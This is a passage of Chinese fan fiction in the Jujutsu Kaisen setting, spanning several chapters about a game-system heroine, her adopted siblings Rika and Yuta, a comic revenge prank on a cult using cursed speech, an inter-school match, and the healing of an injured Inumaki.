禅院真希的动作顿住,她抬头看向树顶,有一片叶子恰好落下,随着风自由地飘动。 “会吧。”她轻声回答,“但是我和真依之间,可没有你和今野之间的关系那么好。” 祈本里香扭头看她,目光里闪烁着琥珀色的碎光。 禅院真希似乎陷入了某种回忆之中,她的嘴角往上扬了扬,随后很快又颓然落下。 “我和真依分离的时候,可是大吵了一架呢。”她闭了闭眼,说道,“她怨恨我为什么不肯留在禅院和她一起沉沦,我怪罪她为什么不肯跟我一起离开禅院创作属于自己的人生。” 她们本该互相理解、互相支撑,最后却成为攻讦彼此的对象。 她通过家主禅院直毘人设下的考验后,本来正打算和妹妹分享这个好消息,得到的却是她歇斯底里的怒火和痛苦的指控。 ‘都是你的错!’ ‘都怪你太努力了!害得我也不得不努力!’ ‘我才不想当什么咒术师!’ ‘努力、痛苦、恐惧!我都受够了!’ 妹妹的泪水变成了最锋利的武器,把她伤得体无完肤。她只能用沉默应对,将血和泪一起无言吞下。 和她有着近乎一模一样外貌的女孩低着头,她面前的地板上很快就汇聚了一小汪水泊。 她一字一句地质问她:‘为什么你就是不肯,和我一起落魄呢?’ 禅院真希没办法回答她的这个问题,最后只能告诉她:‘你就是你,我就是我,就算是双生子,也有不同的道路要走。’ 她拼命想要爬出泥潭,而她的妹妹却试图把她往下拽。 “你比我幸运啊,里香。”长长的一口气从禅院真希的喉咙里叹出来,仿佛一阵缥缈的风,“你的姐姐已经为你搭建了一座足够安全的庇护所,而我还没办法为真依构建属于她的归处。” 祈本里香的手攥着裙角,她抿了抿唇,似是陷入了沉思中。 “总之,我和真依跟你和今野是不一样的,不能一概论之。”禅院真依耸了耸肩膀,“毕竟今野显然是爱着你的,而真依已经不爱我了。” “那可不一定。”祈本里香抬眼看她,“我不认为你的妹妹是不爱你的。” 有的时候,爱的反义词不是恨,而是漠视。 “是吗……”禅院真希并不打算和同学争论这种事,她拍了拍里香的肩膀,说道,“喏,你姐姐来了。” 女生踩着轻快的脚步走来,身后是男同学们横七竖八的“尸体”。 “里香,你还好吗?”她温柔地问道,“刚刚跑完步你的脸色好难看啊。” “桃姐姐!”祈本里香立刻站了起来,跳了两下,甜甜地回道,“好啦好啦,已经好多啦。” 不是谁都能一口气跑三十圈当热身的!之前她最多只能跑十圈,现在已经可以跟完全程了! 祈本里香以为姐姐会夸夸她,谁料今野桃话锋一转,突然开口道:“行呀,那我们来对练吧!” 祈本里香的笑容僵在脸上:“啊……这个,那好、好吧……” 今野桃歪了歪头,问道:“里香不想锻炼吗?如果不想的话,那我也可以……” “不!我想!”祈本里香用力握拳,“我才不会拖姐姐后腿!” 忧太都已经升到准一级了,她还在三级徘徊,姐姐就更不必说,实力早已距离特级不远。如果她总是在原地徘徊,以后还怎么一起做任务?! 今野桃捏了捏她的脸颊,把蓬乱的发丝撩到她的耳后,随即揽住她的肩膀,轻巧地一带,把人带上了操场。 “放心,我会根据你的实力调整力度的。”她对紧张的里香比了个wink,“我相信里香可以做到的,加油。” “呜……姐姐……” 祈本里香被击中,祈本里香倒地不起! 晚上,不用等祈本里香找借口把碍事的幼驯染踢走,乙骨忧太就哭唧唧地表示自己今天晚上没办法偷偷溜到女生宿舍和她们一起睡觉了。 祈本里香强压着嘴角的弧度,夸张地捂住嘴,表情故作失落地问道:“为什么呀?我会很想忧太的!” 乙骨忧太垂头丧气地回答:“因为五条老师出差回来了。他今天晚上肯定要查房的。” “啊,那可真是太好了……我的意思是,那真是太遗憾了!”在乙骨忧太幽怨的注视下,祈本里香放弃伪装,笑吟吟地抱住了姐姐的手臂,“那我今天晚上就能和姐姐两个人睡觉啦!” “……没关系,反正五条老师很快就又会出差去的。”乙骨忧太小声嘀咕。 夜深人静,依偎在姐姐的身边,祈本里香很快就陷入了沉眠。 但大约是太过疲劳,她睡得并不安稳。碎片般的梦在她的脑海中闪来闪去 ,挥之不去又无法抵抗。 有两行泪水从她的眼角滑落,浸湿了枕巾。她的牙齿紧紧咬着下唇,却仍有一两声呜咽从唇缝中溢出。 “不要……”她蜷缩着身体,颤抖得越发厉害了,“救救我……姐姐,姐姐救救我……” 嗡鸣声在耳边炸开,眼前的世界开始旋转,无边无际的血色蔓延开来,她仰面朝天,恍惚嗅到了死亡的气息。 她、她是要死掉了吗…… 忧太的哭叫声从很远的地方传来,听不分明。她的嘴唇蠕动,却一个字也说不出口。 好痛……好痛啊……她不想死…… 祈本里香的手指抽搐,她要从地狱爬回来。 她不要死,她要活着……只有活着,才能和姐姐还有忧太在一起…… 祈本里香低头,看见她的身体开始扭曲、变形,四肢融化又重组,最后变成了一个……怪物。 她是一个怪物了。 抬头望去,乙骨忧太惊恐的表情刺痛了她的心。那姐姐呢?姐姐也会害怕这样的她吗? 怪物转动着丑陋的头颅,疯狂寻找着那个熟悉的身影。 没有。 哪里都没有。 她看不见她的姐姐,找不到她的身影。 这个世界里,没有她。 “……香?”她被轻柔地晃动,恍惚地睁开眼时,看到的就是昏黄灯光下,姐姐担忧的模样,“里香?你怎么了?” 今野桃伸出手指,抹去她眼角的泪水。 “做噩梦了吗?”她把她抱进怀里,有规律地拍打着她的脊背,“梦都是假的,不要害怕,姐姐在呢。” 祈本里香把脸深深地埋进她的胸口,温暖的感觉驱散了她心头的害怕和彷徨。 良久,她开口道:“姐姐。” “嗯?我在哦。” “如果我……如果我变成了虫子,你还会爱我吗?①”她问道。 今野桃含笑回答:“会呀。如果里香变成了虫子,就请歇在我的手心里,我会带着里香,不管到什么地方。” 祈本里香用力抱紧了她。 【祈本里香好感值:100】 第193章 今野桃因一级咒灵受伤这事来得蹊跷,作为班主任,五条悟自然要来问个明白。 “不对劲啊,”他歪着头,手指轻轻敲击着椅背,“以你的实力,不该栽在一级咒灵手上才对。” 即便是特级咒灵,她也不该如此狼狈。 今野桃不好意思地挠了挠脸颊,回答:“是我大意了。这只咒灵一开始并未出现,当我快要把幸存者带出去的时候,它突然从我下方的视线死角攻击我,我没能及时反应过来。” “突然出现的吗……”五条悟的眉头微不可察地皱了一下。他抿了抿唇,像是经过一番挣扎才开口,“你那天在你的游戏地图上,有没有看见一个叫做‘夏油杰’的目标。” “夏油杰?”今野桃愣了一下,犹豫说道,“有的。不过我看他是友方目标,而且不在危险区域,就没管了。” 五条悟沉默了很久,眼罩下的目光晦暗不明。 在学生疑惑地注视下,他推了推眼罩,仿佛在掩饰某种突然出现又难以克制的情绪:“他在咒术界是被通缉的诅咒师,你下次看见他,要立刻向我汇报,并且远离他。就算他是友方目标也不行,那家伙啊……可会骗人了。” 今野桃沉吟几秒,恍然开口:“五条老师的意思是,偷袭我的人,就是夏油杰对吗。” 五条悟撇开头,轻声回道:“……或许是吧。” 就算不愿相信,但真相应该就是如此了。只有杰能做到这种事,利用咒灵操术来蒙蔽她的侦测,然后偷袭她。 他的善意是真的,但伤害也是真的。 “为什么呢?”今野桃不解,“我同夏油先生只有短暂的交集,而且术式也显示他对我并无恶意,他为什么要这样做?” “……” 五条悟的喉结滚动了一下。他没办法回答这个问题,因为他也想这样问。 “他以前……”话说了一半又咽了回去,五条悟最终只是扯出一个笑容,对她说道,“他毕竟是诅咒师嘛。” 真奇怪,他的这个女学生应该不清楚他和杰之间的事情吧,怎么他好像从她的眼睛里读到了一丝……怜悯? 哈哈,大概是看错了吧。 “总之,这件事我会去调查清楚的,你好好休息。”他起身活动了下僵硬的脖颈,语气恢复了往日的轻快,“真是的,我可刚刚才出差回来啊。” 他的目光不经意地掠过女生被子下露出的毯子一角。 这个颜色和款式,似乎有点眼熟啊…… 他从鼻子里哼出一声。 今野桃回以镇定又淡然的微笑:“可不能夺走少年人的青春啊,不是吗,五条老师。” 五条悟咂了咂嘴,还是作罢…… 乙骨忧太仰躺在操场的草坪上,阳光透过睫毛在他的虹膜上映出细碎的金斑。他微微眯起眼,看着那两个在他生命中最重要的人正在场中切磋。 然后祈本里香被打倒了。和他们挨的揍完全不同,乙骨忧太看得出来,桃姐姐完全控制住了自己的力度,能让里香觉得痛却又不会真的受伤。 反观他呢,现在全身都使不上力气,稍微动一下,骨头就咯吱咯吱地响。 最后里香干脆躺在了乙骨忧太的旁边,她的长发凌乱地披散下来,像是张牙舞爪的影子。 忽地,她侧过头去看他,表情有些莫测。 他又在哪里惹到她生气了吗? 乙骨忧太乖巧地对她笑了笑。 里香看起来更不高兴了。 就算桃姐姐走过来,把她抱了起来,她脸上的笑容仍旧带着几分虚浮,似乎并没有释怀。 乙骨忧太隐约能猜到几分她的心思。 就如里香自己所说,人的爱是有限度,就像杯子里的水,而根据关系的亲疏远近,杯子里的水也没办法平均分配。 现在,他和桃姐姐的关系变得亲密了,水自然向他这边倾斜。 如果是小时候,里香现在一定已经大吵大闹起来了吧。因为得到的实在是太少,所以哪怕只有一点点,也要去争、去抢,不肯退让。 如今,他们都长大了,得到的快乐和幸福也越来越多。 乙骨忧太忽然有点想笑,他对里香眨了眨眼睛,试图把自己的情绪传递过去,对方却以为他在挑衅,气得她脸颊都泛起了红晕。 他终于还是没忍住笑出了声。 乙骨忧太想起自己回教室拿东西时,无意间望见伊地知先生的车离开学校,想来五条老师就在车上。 他肯定是去处理桃姐姐遇到一级咒灵的事件了,今晚应该不会回来。 ——所以,他可以去找桃姐姐。 咒力修复着身体,男生一个鲤鱼打挺从地上跃起,拍打着制服上沾着的草屑,朝树下的两人走去。阳光透过树叶的间隙,在他身上投下斑驳的光影。 曾经瘦骨嶙峋的孩子,现在也长成清俊的少年了。 夕阳西沉,晚餐过后他们在宿舍楼下道别。乙骨忧太揪着衣角,眼神湿漉漉地望着姐姐:“抱歉,桃姐姐、里香,我今天晚上不能去找你们了。” “哇!”里香脱口而出,随后赶紧捂住嘴,摆出了他熟悉的那副狡黠的模样,明明嘴角的弧度都要飞到天上去了,嘴上还要说着——“为什么呀?我会很想忧太的!” “因为五条老师出差回来了,他今天晚上肯定要查房的。”乙骨忧太这么说道。 如预料中的那样,他看见里香的眼睛瞬间变得比天上的星星还要明亮,喜悦盈满了她琥珀色的眸子,她此刻定然无比快乐。 “啊,那可真是太好了……我的意思是,那真是太遗憾了!”她抱着姐姐来回蹭,“那我今天晚上就能和姐姐两个人睡觉啦!” 桃姐姐也低头笑了起来,她揽住里香,抚摸里香头发的动作像是大猫在给小猫舔毛,充满着怜爱。 她是他们的姐姐,是他们的朋 友,是他们的家人,也是他的恋人。 他和里香都爱着她。 乙骨忧太弯着眸子,又圆又大的眼睛倒映着眼前的画面,表情柔和得不可思议。他没有说话,看得专注极了,仿佛要将这个场景深深地刻在脑海中。 为了守护这样的快乐和幸福,他愿意付出一切。 第二天,那如云雾般缠绕在里香身上的忧郁和失落果然消失得无影无踪,她蹦蹦跳跳地走到乙骨忧太的面前,对他吐了吐舌头。 “早上好呀!” 他腼腆地回道,眼下浮现着淡淡的青黑色:“早上好。” 虽然同学的数量比过去学校的要少,但里香和其他同学之间的关系却比以前在学校里的更好。 下午的时候,她忽然找到他,神秘地问道:“呐,忧太,你想不想给姐姐报仇?” 乙骨忧太立刻挺直了背脊,支棱起来:“当然想!” “走,我们去盘星教!”祈本里香挑眉,冷笑一声。 “盘星教?哦!是那天的那个男人吗!”乙骨忧太想起来了。 “没错!”祈本里香咬牙切齿地说,“情报出自熊猫,绝对保真!” 显然五条老师已经将事情告诉了夜蛾校长,而熊猫又从校长那里听来了消息。 “就我们两个人吗?”乙骨忧太面色凝重,“或许我们需要一个严密的计划,那个男人看起来很强。” 祈本里香扯了扯嘴角,开口道:“不需要那么麻烦,忧太不是复制了狗卷同学的术式吗?我们就蹲守在盘星教门口,等他出来,你就对他说——” “说‘去死’?”男生认真思索着,“或许我们会两败俱伤……” “笨蛋!你如果因此而受伤,桃姐姐绝对会超级伤心的呀!”祈本里香敲了敲他的脑袋,“我们要智取!” “好、好的……”乙骨忧太抱着头,弱弱地问,“那我说什么?” “你就说:‘拉肚子’。”祈本里香冷酷地说道,露出一个恶魔似的笑容。 “……啊?”乙骨忧太呆了两秒。 拉肚子……?这也行吗? 女生显然非常为自己的“巧思”而得意,她竖起一根手指,自信地说道:“到时候他肯定忙着到处找厕所,就没时间来追击我们了!退一步来说,就算他还能战斗,实力也会大幅度减弱,我们到时候就可以为桃姐姐报仇了!” 这个主意……竟然意外地有道理! 里香简直就是天才! “而且只是诅咒他拉肚子的话,应该不会受到多少反噬吧?狗卷同学对自己术式的开发程度还是太保守了,让我们都没有可以借鉴的样本呢。”祈本里香轻点着下巴处的小痣,若有所思地开口道,“怎么样,忧太?” 乙骨忧太默了默,随后用力点头:“好,就按里香说的做!” 两人相视一笑,一拍即合,在放学后偷偷摸摸溜出了学校。 他们的动作必须快,赶在被姐姐和老师发现前得手…… 【乙骨忧太好感值:95】 【乙骨忧太—失手(BE) ——高手在民间,失手在阴间。】。 正在到处找人的今野桃突然僵在原地,表情凝固。 不是……你……这…… 啊? 第194章 今野桃读了四次档才终于在乙骨忧太BE结局出来前赶到了盘星教。 很难用一句话来解释她当时的心情和看见的场景,现场一片混乱,到处都弥漫着奇怪的味道,还有战斗后留下的痕迹。 她使用术式后,从游戏地图上发现了一件很奇怪的事情。 嗯……怎么盘星教的每个厕所隔间里都有人?就算是外面,也挤满了人群。 难道今天盘星教的伙食有问题,食物中毒了? 捏着鼻子,今野桃从地图上的敌方目标里抓了一个一脸虚脱、走路都打晃的男人。 “喂,你们这是怎么了?”她眉头紧皱地问道。 “滚!”男人不耐烦地回道,但在被掐住脖子后立刻老实下来,“有、有两个小孩,他们、他们……” 他说到一半,脸色又变了。 今野桃面露恶心,把人甩出去,掏出一张湿巾擦手。 一连抓了几个,她才终于从支离破碎的信息里拼凑出了真相。 有两个小孩跑到盘星教的门口,在夏油大人和教众走出来的时候,大喊了一个词,好像是什么“拉稀”之类的话,结果一下子所有人都中招了。 像是一颗炸弹在人群里爆炸,威力之大,就连夏油大人也没办法…… 今野桃脸色骤变。 那两个家伙,一定是拿着狗卷的术式乱用了! 而且这绝对是里香的主意! 忧太这么乖,怎么可能会想到这个方法! 不等她思考清楚,BE结局就再一次跳了出来。 破案了,乙骨绝对是被所有人追杀了。就算夏油杰不会杀死年轻的咒术师,但盘星教可还有不少诅咒师呢! 今野桃闭上了眼睛。 人怎么能捅出这么大的篓子啊…… 再一次读档回去,今野桃站在五条悟面前,她的目光飘忽了一下,似是有什么很难启齿的事情要说。 “怎么啦?”五条悟语气轻快地问道,“是有什么事情吗?” 今野桃缓缓点头:“确实有一件很重要的事情要拜托老师。” “真是稀奇啊,你竟然也会有觉得棘手的事情?”五条悟颇感兴趣地催促,“说说看?” “是这样的。”今野桃清了清嗓子,说道,“里香和忧太不见了,他们不在学校里。” 五条悟挑眉:“明天休息,他们是不是偷偷跑出去玩了?” 说完,他自己都觉得不太可能。那两个家伙怎么会自己跑出去玩却不告诉心爱的姐姐呢? “不是,他们去了盘星教。” 五条悟坐直了身体,架在桌子上的脚也收了回来。 “盘星教?他们是去找谁?” “夏油杰,上次五条老师跟我提到过,他可能是偷袭我的罪魁祸首,里香和忧太知道了,就想替我报仇。” “啊……他们可真是。”五条悟从椅子上起身,“虽然他们确实很有潜力,但现在就想要战胜诅咒师,还是不太可能的啊……” 今野桃一把拽住了他,不太自然地舔了舔嘴唇:“我还没说完,老师。” 五条悟默了默,开口道:“难道他们已经出事了?” “没有,按照我发现他们不在的时间来算,他们现在应该还在路上……”今野桃松开手,压低了声音道,“我要说的是,忧太复制了狗卷同学的术式,他们有一次跟我说,呃,如果遇到难以匹敌的敌人,就对他们说……” “说什么?”最后那几个字声音太低,五条悟没有听清楚。或许是听见了,又以为自己听错了。 “就说……”她顿了顿,重复了一遍,“拉稀吧。” “……” 教室里一片死寂。 砰地一声,门外传来摔倒的声音。 今野桃赶紧开门,看见狗卷棘已经倒地不起,熊猫仿佛石化一般整个人都要裂开了。 “不……”狗卷棘的声音细若游丝。 真可怕啊,把哑巴都逼得说话了! 眼泪从狗卷棘的眼睛里流出,他的手颤抖着,想要打开手机却几次都失败了。 完了啊……咒言师的名声……全都完了…… 以后大家提起咒言师,一定会想到这件事的……说不定大家还会以为咒言师都是这样使用咒言术的…… 狗卷棘绝望地合上了眼睛。 无他,因为最后一个咒言师,就是他自己。 一团灵魂从男生的口中吐了出来,他脖子一歪,没了动静。 “不要死啊!棘!坚持住!”熊猫抱着狗卷棘痛哭流涕。 有的人还活着,但和死了也没什么区别了。 五条悟少有地感觉到了头疼。他终于体会到当年夜蛾老师带他和杰两个问题儿童的感受,或许这就是每个教师的宿命。 “走吧。”他沧桑地叹了口气,“我们现在就去盘星教。” 他还说向来独立又自我的今野桃怎么会来找他寻求解决问题的办法,原来是找他收拾烂摊子的啊。 行,谁让他是班主任呢。 两人的速度非常快,即便如此,还是晚了一步。 “拉肚子!” 听到这个词的瞬间,五条悟开启了“无下限”。两股咒力互相抵抗,最终消弭。 而其他人就没这么好运了。 人群猛地炸开,像是往蚂蚁窝里倒入了沸水。数不清的术式铺天盖地地朝着乙骨忧太和祈本里香攻过去。 他们也有点傻眼,没想到这么巧,恰好撞见盘星教团建,从大门走出来的不止夏油杰一个。 在千钧一发之际,今野桃冲了出来。 她左手夹一个,右手捞一个,如闪电一般折返回来,和五条悟擦肩而过。 “五条老师,就拜托你了!” 尾音飘散在空气中,三人的背影几乎是瞬间就消失得无影无踪。 五条悟:“……” 他僵硬地回头,举起手朝来人打了个招呼:“嗨,杰。” 夏油杰强撑着对他扯了扯嘴角:“好久不见,悟……” 话没说完,一声清晰的咕噜声突兀出现。 五条悟咬牙,极力压制住不受控制的嘴角,身体都颤抖起来。 “叙旧的事就稍后吧。”他用手捂 住嘴巴,好给自己的挚友最后几分颜面,“再不去的话,厕所要没位置了。” 夏油杰:“……”。 三人回到学校后,今野桃很久没有同他们两个说话。 乙骨忧太和祈本里香乖巧地跟在她身后,也不敢开口。 终于,压抑的气氛让两人受不了了。 他们对视一眼,祈本里香伸手,小心地拽了拽姐姐的衣摆。 “怎么了?”今野桃停下脚步,回头看她。 祈本里香讨好地对她笑了笑,软着声音撒娇:“姐姐,我们知道错了嘛~你就不要生气啦。” 今野桃没有回答。 “都怪我,是我们太冲动了。”乙骨忧太小声说道,“姐姐惩罚我们吧。” 今野桃垂眼看他:“你们愿意接受惩罚?” 两人立刻大力点头:“没错没错,只要姐姐不生气,怎么惩罚我们都没关系!” “好,既然这样,从今天起,你们就在自己的寝室里睡吧。”今野桃倦怠地说道,“或许这样,你们就能长大一点。” “桃姐姐!”祈本里香和乙骨忧太都惊呼出声。 这个惩罚,也太严重了吧! “我们知道错了,我们以后绝对不会再这样做了!” 祈本里香抽噎着说,哭得梨花带雨。 躲在暗处的熊猫握紧了拳头暗暗点头。 没错,就该这样严厉一点!玉不琢,不成器! “里香,其实我并没有生气。”今野桃抬起手,轻柔地在她的头顶揉了揉,“我只是害怕。” 里香泪眼婆娑地看她。 “我害怕你们在我没看见的地方出事。”今野桃叹了口气,“也害怕你们受伤。” 两人呼吸一窒。 熊猫气得挠墙。这是批评吗?这也太温柔了吧!惯子如杀子啊! “桃姐姐……”祈本里香喃喃。 她现在是真的开始后悔了,后悔自己的冲动和莽撞。 “总之,我这样做,不仅仅是在惩罚你们,也算是在惩罚我自己吧。”今野桃转过身,不肯再看他们,“不看见你们的话,我就能狠下心。” “里香,忧太,我希望你们珍惜自己的生命。” 她抬步往前走去,表现得似乎很坚定。 忽然—— “可是!这个世界上总有东西比生命更加重要!”男生掷地有声地大喊道,声线还在颤抖,“如果是为了桃姐姐的话,付出生命又有什么关系呢!” 一瞬间,时间仿佛都暂停了。 今野桃顿住。 微风拂起她的发丝,看不清她的表情。乙骨忧太深吸了一口气,握紧了拳。 “不只是桃姐姐想要保护我和里香,我们也想保护桃姐姐!”少年的鼻尖红红的,眸光里带着委屈,“我们,难道不是家人吗!” 【乙骨忧太好感值:100】 今野桃的眼睛微微睁大,侧身看向他。 “死亡也没什么好可怕的。”短暂的勇气爆发后,乙骨忧太在两个女生的注视下讷讷说道,“如果是和姐姐还有里香在一起,死亡或许也不过是另一段旅程的起点吧。” 今野桃沉默了。 她终究还是动了,迎着期待的目光,站在乙骨忧太的面前,用指尖擦去少年眼角的泪水。 “……真拿你们没办法。” 祈本里香和乙骨忧太破涕为笑,扑进了姐姐的怀里。 【乙骨忧太—向死而爱(HE) ——我对死亡唯一感到痛苦的,是没能为爱而死。】 第195章 标准的和室内,京都高专的学生们正襟危坐,环绕在校长乐岩寺身边。 “大家应该知道了,今年的交流会将在我们学校举办,这是你们学长学姐争取来的荣耀,绝对不能在你们手里辱没!” 乐岩寺声音沧桑又沙哑,深深凹陷进去的眼眶里两颗眼珠转动,散发出锐利的锋芒。 一、二年级的学生都郑重点头。 “理论上来说,交流会是二年级的学生才能参与,但今年东京校二年级只有一个学生,所以此次交流会一二年级都能参与。”乐岩寺慢吞吞地说道,示意旁边的三轮霞把资料发放下去。 “东京校那边的一年级似乎实力不错。”加茂宪纪合着眼说道。 “确实,据说有个女生的实力已经很接近特级了,等她领悟了领域,东京校就会推荐她成为特级。” “还有个女生也很强,能用语言迷惑敌人。” “熊猫也不能小觑,毕竟是东京校校长制作出来的咒骸。” 伴随着资料沙沙的翻页声,刚从美国过来的西宫桃对日本咒术界不甚了解,好奇地问道:“那东京校最强的学生是谁呢?” 房间里突然陷入了安静之中。很快,有窃窃私语传来。 “是他吧……” “肯定就是他了……” 西宫桃的头顶上冒出了一个问号:“谁呀? 加茂宪纪沉声回道:“他是家系出身,世间最后一个咒言师。” 禅院真依啧了一声:“他入学不久就被评为一级咒术师。” “他曾经一句话杀死了几十个诅咒师!” “非常邪恶。” “非常恐怖。” 西宫桃抱着扫帚瑟瑟发抖:“这、这么吓人的吗……那他是谁?” 短暂的沉默后,大家异口同声地说道:“狗卷棘!” 啊? 西宫桃瞪大了眼睛,试图记住这个名字。 乐岩寺咳了两声:“你们不要胡说,后来不是都调查清楚了吗, 做出那种恐怖事情的并非狗卷,而是另一个有着复制术式的一年级学生。” “但是那个男生证明了,咒言术就是这么可怕啊。”三轮霞唏嘘,“如果真的想,狗卷同学也可以做到那种事情吧?” 这倒也是…… “总之,要远离东京校的男生啊……” 这句话深深印在了西宫桃的脑海中。 显然东京校的男生都不太正常,必须谨慎对待。 既然如此,那比赛的时候,她把目标放在女生身上应该就没问题了吧? 这个叫做“祈本里香”的,一看就很弱嘛,术式也不强。 就决定是她了! 西宫桃打定主意,开赛之后,乘坐着自己的扫帚在天上盘桓,发现祈本里香的身影后俯冲而下,将她径直撞飞出去。 祈本里香完全没想到自己会被偷袭,巨大的力从身后袭来,她在灌木丛里一路擦过,最后重重地撞在了一棵树干上。 痛苦的呻吟从喉咙里溢出来,她的表情都扭曲了。 “不过如此嘛。”西宫桃得意地晃了晃两根辫子。 轰! 一声巨响自旁边传来,西宫桃连忙操纵扫帚躲避,只见穿着黑色制服的少年笔直地奔了过来,身后跟着东堂葵。 他灵活地闪躲过东堂葵砂钵大的拳头,裹挟着咒力的长刀反手划过,将他逼退。浓郁的咒力化作利箭,差点把天上的西宫桃打下来。 她连忙飞得更高了些,也召唤起队友来。 “里香!”乙骨忧太焦急地蹲下来查看捂着膝盖和肘关节的少女,“里香你没事吧?” 祈本里香低声回道:“没大碍,都是挫伤和擦伤。” 她的伤口已经开始渗出血丝,青青紫紫的,看着就很吓人。 “你等等。”乙骨忧太的眉毛紧紧拧着,他低头,心疼地给里香的伤口吹了吹气,“我很快解决这里,再来给你治疗。” “嗯,不要大意。”祈本里香一边龇牙咧嘴地忍着痛,一边起身往树后面躲,不给忧太造成负担。 “嘁,原来是小情侣。”东堂葵撇撇嘴,“恶心。” 乙骨忧太面沉如水,他站在祈本里香的身前,双手握住刀柄。 两人很快又战在一起。 “原来是嫉妒吗。”在你来我往间,女生的声音幽幽传来,听在耳朵里无比尖锐,“看样子,你们京都校都是单身狗啊。” 东堂葵不爱打嘴仗,他飞快地瞥了祈本里香一眼,没说话。 “啊啊,也对,就你这个外貌,一定很难找到对象吧?”女生还在输出,“简直就像个大猩猩嘛。” 砰! 东堂葵的拳头砸在了树干上,将一棵大树从中间一分为二。 力气没控制住的后果就是被乙骨忧太抓住了空档,他低喝一声:“不许动!” 胜负已分。 拼着重伤的代价,东堂葵捂住被划开的腹部,连连后退。他不会反转术式,现在已然失去了战斗力。 更糟糕的是,西宫桃也从天上坠落下来,在他旁边的地面上砸出了一个大坑。 “你们没事吧?”今野桃从林子里钻出来,手里还拎着一块石头。 乙骨忧太一甩长刀,将上面的血液擦干净,对来人露出了一个笑容。 “我们没事,就是里香受伤了。”他飞快地打量了她一番,松了口气,“桃姐姐那边也结束了吗?” “嗯,结束了。”她轻描淡写地回答。 结束了的意思是……? 东堂葵和西宫桃的心里一跳。 他们京都校不会全军覆没了吧? 乙骨忧太小心地给祈本里香治疗伤口,当鲜血止住,结出细小的痂壳,她推开了他的手。 “行啦,不用大惊小怪,这点小伤很快就会好的,你节省一点咒力。”她满不在乎地说道,眉眼间的神态竟然和身边的另一个女生颇为相似。 乙骨忧太犹豫了一下,点头回道:“好。” 今野桃用手背擦去他脸上的灰尘,柔和地笑道:“你们都辛苦了。” 东堂葵瞬间睁大了眼睛。 诶?不是,这…… 乙骨忧太的脸颊有点泛红,他抬手握住了她的指尖,小声回道:“没有,这是我应该做的。” 祈本里香皱了皱鼻子,显然是在不高兴。 今野桃和乙骨忧太知道,她在为自己被偷袭而恼羞成怒,也为自己在这么重要的赛事上丢脸而懊悔。 但看在东堂葵和西宫桃的眼里就不同了。 就在他们浮想联翩的时候,祈本里香抱住了今野桃。 “姐姐~”她鼓起脸颊,失落地说道,“你是不是觉得里香很没用呀?” “没有啊,里香只是有长处和短处而已。”今野桃宽容地说道,“每个人都有擅长的和不擅长的事情。” “真的嘛?”祈本里香在她的怀里抬起头,“那你亲亲里香。” 今野桃从善如流地低头,在她的颊上落下了一个轻吻,温柔说道:“姐姐最喜欢里香了哦。” 祈本里香的脸也浮起了绯色。 东堂葵看着眼前的场景,呆呆开口道:“祈本和乙骨不是在恋爱吗?” “什么啊!你不要随口造谣!”祈本里香不高兴地大喊,“谁要跟忧太这个笨蛋恋爱啦!” 她的眼珠一转,对乙骨忧太使了个眼色,两人一左一右地抱住姐姐,开口道:“没见过一夫一妻吗,你们两个没见识的乡下人!” 啊?他们是乡下人?! 生活在京都的他们,是乡下人吗?从来只有他们说别的地方的人是乡下人,他们还是头一回被这样骂!简直倒反天罡! 监控室里,五条悟拍着大腿大笑。 “哈哈哈哈你们这群乡下人,这回总算是长见识了吧!” 乐岩寺嘉伸沉默许久,摸了摸自己的唇环和鼻环,低头喝茶。 唉,是他老了,跟不上时代潮流了吗? 第196章 穿过层层结界,踏过精心修剪的庭院,一行人最终停在那扇紧闭的房门前。他们的脚步放得极轻,生怕惊扰了屋内沉睡的人。 封印被小心翼翼地揭开,众人屏息凝神,领着千辛万苦求来的“希望”走进室内。 柔软的床榻上,银发少年紧闭双眼。几缕失去生气的发丝无力地垂落在苍白的脸颊旁,脸颊处还有圆圈状的黑色纹路。 即使在睡梦中,他的眉头依然紧锁,仿佛正被什么噩梦纠缠。 盖在他身上的被子呈现出不自然的凹陷,堆积出的褶皱无声地诉说着某种残酷的事实。 在众人期盼的目光中,女生缓步上前,指尖轻轻捏住被角。 随着布料被一寸寸掀起,映入眼帘的是缠满绷带与符咒的半截身躯。手臂的断口处已被处理得平整光滑,几乎看不出最初的惨烈。 女生的瞳孔微微颤动。她伸出手,指尖小心翼翼地抚过那些绷带,蓝色的咒力如涓涓细流般渗透进去。少年紧蹙的眉头渐渐舒展,仿佛被春风抚平。 后面的一个女人欣喜万分,喉间咕哝一声,又赶紧捂住了嘴巴。 她担心一点细微的动静都会影响到这次治疗。 片刻后,女生缩回了手,后退两步,对几人微微颔首。 大家又如最开始那样,悄无声息地退出屋子。 封印重新合上,刚刚在走廊上站定,女人就迫不及待地问道:“今野小姐,棘身上的诅咒,可以祓除吗?” 女生没有立即回答。她捻了捻手指,轻声问道:“他身上的伤,是谁做的?” 女人的丈夫开口回答:“是两面宿傩。棘在涉谷和两面宿傩战斗时,进入了他的领域,被他的术式击中。我们也寻求了高专那位家入医生的帮助,棘的伤口也是她治好的。但伤口上附着着一层诅咒,无法把棘的手臂接回去。” 其实最好的办法是先祓除诅咒,再治疗伤口。但显然家入硝子的咒力无法压制两面宿傩。 “原来如此。”女生长长地叹了口气,在女人满溢泪水的 注视下,点头说道,“我可以把他治好。” 女人顿时双腿一软,脱力般往下滑倒,旁边的丈夫眼疾手快地搀扶住了她。 泪水如断了线的珠子般滚落,她攥紧拳头捶打着丈夫的胸膛,声音哽咽。 “我早就说了,不要让棘去高专!你们非要让他去!你差点就害死了我们的孩子!” 男人眼眶通红,喉结滚动了几下才发出声音:“家中只有棘一人有术式,他执意去高专,我们有什么办法。” 狗卷家虽然有着祖传术式,但因为咒言术副作用极大,而且很容易造成反噬,所以大家对此都不上心,甚至有意识地在断绝家中咒术师的出生。 然而意外总是会发生的,偶尔也会有狗卷棘这样持有咒言的孩子诞生。 “行了,吵吵闹闹的像什么样子。”老人喝止了这场闹剧,“棘没事就行,你们以后对棘也多关心一点。” 他扭头,对女生郑重地欠身说道:“一切就拜托你了,今野小姐。” “我既然答应了,那就必然会达成。”女生眼帘低垂,神色淡然,仿佛这令众多咒术师束手无策的诅咒于她不过举手之劳,“但是,祓除诅咒是一个比较漫长的过程,需要你们配合我。” “一定配合!一定配合!”两个家长忙不迭地回应。 自涉谷大战至今,也有快一个星期了。两面宿傩的咒力始终如利刃在狗卷棘的身体里切割着,直到彻底消散为止。 遭到重创的狗卷棘因为伤势未愈,身体越发地虚弱,最开始甚至反反复复高烧,后来用符咒才勉强压下。 但这终究是治标不治本的办法。当务之急,还是要把他身上的诅咒祓除。 